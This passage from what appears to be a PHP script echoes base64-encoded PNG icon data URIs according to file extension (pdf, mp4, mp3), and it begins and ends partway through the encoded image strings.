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"; } elseif ($ext == "pdf") { echo "data:image/png;base64,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"; } elseif ($ext == "mp4") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAfowAAH6MBdiuSpAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAzfSURBVHja7Z37j9zUFcf5sT/wV7T8kD+k6g/9ta8UoT7UkIZHgQhoVAQt0KptECAKahXUhlJBCZUKVG1pSbLZzW72OY+d585zd3Z2Z/YFoYEQsoEmOfXXU8ce+9pj+14/51o60u6Mx57x+fje8z333OvbiOg2Htvb6x5SrKkYSVPtytZW+81Op/Il3msbhvE6/6B0uNX6/Ra1W/mrSYCAF4CKdDgbgGY9kwgIeJz/BcVuSIfbA5AECHgAuEM6ezQAcYeAB4AD0tnuAIgzBBKAkACIKwQSgBABiCMEEoCQAYgbBBKACACIEwQSgIgAiAsE4wXAbpe2t1ap123Q+mqVVhtFalZy1ChnqV0rUKddoY31Om312rS7ux44AHGAINUA7Ox0VKdW8/OUnZmgxcn3aPGce8ucP0ulpQvUrhdoq78aCABRQ5A6AHCHr9aLVM7M0tLkaU8OH2WF+fPUrOapt9EUCkCUEKQGADgFThfpcCfLz07RutK6iAIgKggSDwCa5pXlhdAcb2kVFqZpo1MTAkAUECQWgJ3tNaorwZvbZh7Nd62YodbKMq01y9RdW6H+Zks9zu7Ouhr4IQDstCpqQIhjlzIXXB8frU9vs8kNQNgQJBIANL0I0BydogR8xcUZ1Zlb/TZfINkqUyU3T5mpMyNBqJcy1O/xARAmBIkDAEGYkwOy0xNK1F5U72zR54Y0hHwszE87fodKfo4bgLAgSAwAaKZxF9pKNuXuBBy7yh0bxveBvMxfmGQHiHPnhAAQBgSJAACB3rLSh7MuNvroWnGJtgO44920CMgRoNUJCoCgIYg9AAiszBdYs9yFcyM1eVgJJ6MEFQ1AkBDEGgD043Ayy/kI8KK4650MyiEoAIKCILYAoHmFk1nOX1le5MrVB2mQmPm5yUAACAKC2AJQKywxnd+uLcd+0Gm9Uw0MANEQxBIA5PJZzm9UcqkaDo4DBLEDYHO9zsy+VbJzqasHiAMEsQOgwJB7y3PnPet7BIjIAraULmN7ay10VbC5UVetUclQYfH8kBWXpqmrdBPaPjzW7zdzqQEAeXhWZs/LWLwWQC7PTRnG9c+o3UpURSioKbAGsgsiz3N74gGA01iZNaRePXcj3YatdOxttiIZuAKE5rEKbfBIgH0x8QAgo8ZymK8ofHXFYZDotFoGtheyjGwxxjCQPBJ0/AOJBgB9ZnbaOrqHgFA4AIaCjg2fx/fbwuVmrEktcy3BWAKAMXqRUb8bADSrFRaVJroTUpKoZDl/yWcrlyoAzJE/ZGCfo69mAeBU2IE7c71dDQUCY3CqxQICUtrJBQBFnKI1PwsA3H1Ow8naeb0qDhGtwGqjNL4AsLJ+yKeLBgCvae+x+uKwJCMUgbk1KmdnxxcAs0bGxeGt5nECYFBc0lFrCBYdugUokH5AktE8yLU0dVoteBk7ABD9m+8GAME9GDMCgFu1Bt26tU8OQTIiQ2n5fnwxSDIBYGX+kA8ICwBNnqGUzClIzM9OCpWMqEAWnBlMJgAY3TNfiG0BQZgXAG4N4PRatvUHt5wkUDKaWx4oobEDAIUdw33hGTHj8T4AuBWUKhF51qHkPDczYTsjyItBcQyNeSjHHTsAzAEgxgKiBmAgTdcUyTjnPBGEUzKqQagpH4CBo7ECwNwMFsVkxbgB0I9THcwqdpCMbZ+SkTW/ATmRsQLAPLsHiZo4AaAplXox4ywZF6Y9S8a1hjUhhFHMsQEA0bdlWpVyoeMGgHGIGYUpTjOSvBSeYG6iQCmYPABYUghDpnEFYABtV4F0yRYCpHm9TGe3pIT9ZyCTBwCyfZaiz3I21gDAQZbCDp/D18grCEyBJzMGMCdfRJVJiQYAVUSOOQJkDKs57iQYR21AMgEwz/rBfPxYAYAsYSU3Iks4pcQHdSHpYCSjxgoARM/D1b9TsQEATTSca+f4pf/f9bs+tbs2jcxoHDObkwmAeXweZWFRA4BUr92sJGMVD+9IYTW/YMkpjF0mEKtpWO4CASNvfgFA4mdkrUBDTK1AyRRToLUZOwBY/WBXQLTuFQBk4My5eUu1kNJacWTqLItdoAZA4DB4MgHobzaZI25hAoA72knaIRXsZ27CqJbGkgNZWR4/AGDmySDIqIUBQF+VdtOO0g5Jn50AlpxhLWvX77XHEwBWHLDJWXzhBACidkTvTtIOKV+OvPxIM8+BEKB+kgsAKyNWL2UDAQB6fbS0y/uWdn5/r4AMaLLnBZjvCETiPGqABYCayYuoCHSo+S8sihwFTAcA5sog3pVAvMwMQvXPWiOcmcMAzNz15GYmRBw72QCwZvOiVsBvAOYWgKoq7cJbO6DMkJpNMSOgBxI/O5g1a8dv3zgKAEi77mo1NMfb9f1QPIIWtkw+AJBB5uYRRaJ+ki+sYgtd2mUCkXZexz0GU8KEdT0HUrFCSI1RbIHiTBHTr4KWdqMqjVlzDfbEqY10AID+mLUit59+cq1VVtUEEk3N6nKg0s7PoleCZyOnAwCn1cA7Amrxo3iYBWuZW3QHgs+VHgDsVghFPNDbaCTG+RjwYS1wDdm5xZf2TTcAWh+eZ6wRjCZ9O+D5+6JWBmNNLEFXIGhJmHQDoI0UsuIBNKlRBXNu4WUtCyc46k8/AHbDptp8ejzGJXYrhG62bB8iAYUT4LnTCYDdAlJxXDsYuQe7ugK12CNYFZJeALTKIbvhW6y1149g8Ufj1LEGo8DTWEnEufqHBEC/w87aPzamsCisZMv142IUMJ2mkjfDa6HSD4CWLkYGzenBUegWgk71Iv6we5KJJllDzluMBwCs5/PYPfQZZddYyEHUU8QwmIPqJbsgzyhVI3iO0fgAYJynZ/cwKXP3AGAgwdQnhboAAs07HjYJFYJaBdYytnZPL9uJ5jlG4weAttwb+lk3T/Q0dxXoShCdo6VAlQ4gwYCRG2ezAr2++OyeBMDLaqNwoujHxY8ypKxjkpQabwCMiRhIMqdAkdfQQqCsG6okRr9dAsBa9g1JJFYhhldD4IcAMMzl5SUAgusMIMvUx8KXsmq/j/4fJeJQDEgtQ9YBFgziIJjDaiVY8aO/2UzCb5QAjLlJACQAEgAJgARAAiABkABIACQAEgAJgARAAiABkAAEB8CVP73+5ev3HiNp0Rt8EToAn5545av0tUMkLXpTfSEBkABIACQAEgAJgARAAiABkABIACQAEgAJQFIAeOIZovcv6nZ+3vsx7ryXqLc1fBw35zJaf4coUyB6612iJ5/l/13Hfzt8/NmMBIBpv3iBhrabN4nu+4m3Y7z8Glk2N+dy2oorRI887e83ff8o0UeXh4+30pQAuHbKPye8HaO37Q+A6zeIPv/vwACeebuhvP/Uc95/00LeeiwJgAcArl4luut+d59/+nn2HezmXK+/pb938AjRoz8n+uObRNc+0/e58qnSIj3m/ve88Hv295EAHPLWLJ885e7zuZIYAIz28FNEn31u6A6q7r7LoYcHwGC7/IkEgAuAnT2ir9/t/Nn7H2M33bwAwM5M6/tdu0b0zcOjf0u+rH/G3BJIAA55D8x+9ZLzZ9+dsP8sLwDPnRjeF92D03f53av6voj4v/OABMAXAJc+0v8u1+w/d9ePlFhhX1cOH18WC8AvXxzeF7LObt8jx/TvgqYfKkAC4BOAf50bBIHadvRn7M+9ckrfB03v+qZYAE6eGt7XTpqimyrX9f1ePDl4XQLgE4B3/k303pT+/9kZ9kXfeV/f59cviQdgctagSvbt45E/vMEOFiUAHADgrtc2ROPfe8i+ef7wEtE3DosF4MEniK5f1/eDrrcLQjXJiEDxnmMSACEA4PXGqv7an98e/kyppr/3l78PXhMBAHIBaE32Lur7fHJlIO9YrZDxOyJ/YHxfAsAJAPpSbbv4H12GPfTT4Uzd4Uf9A7Cv3LWXPtYNmUFzWvrZE+xjvfZXfb92x9pFSAA4ATh4z+Du07bnX7bq82xRP44fAJy2WmuQEGIdBxAifaymk6+zA1UJACcAsH+c1V9vrg0uqjFNi1iABwBIx62dga11iWYWid54Z7Cf3ffFnY59jZofoJjt8ePD58JntPfQ1UgAXADwwOPD783n9L8/+HC42RWtAuwMLRPvht8lAXABAKzaYF/EU38b3k8CkFIA0PebNwRrdz8SDQDfUprvVme0ra6bRjj39feOHJMAuAYAF9yc5l1ath4nLADcmgwCBQEAw2vGjRWkSQBSDMC37xlk2TRjpWUlACkGwI1JACQAEoAkAnDnfQNZpBnG0v0cB12D8ThuzvXdB4MDAN2U8Vw//LEEQJoEQFoaALhy8tWvyIsfD1N9ETYAH9RW7rgJaSYdEKnBB/BF6ADA9p/5TUE6IVpTfcDhQy4ALs2eu/3ak8ffvvGDo/vSGeEarjmuPXzA48P/AcT3MVeC/Jz2AAAAAElFTkSuQmCC"; } elseif ($ext == "mp3") { echo "data:image/png;base64,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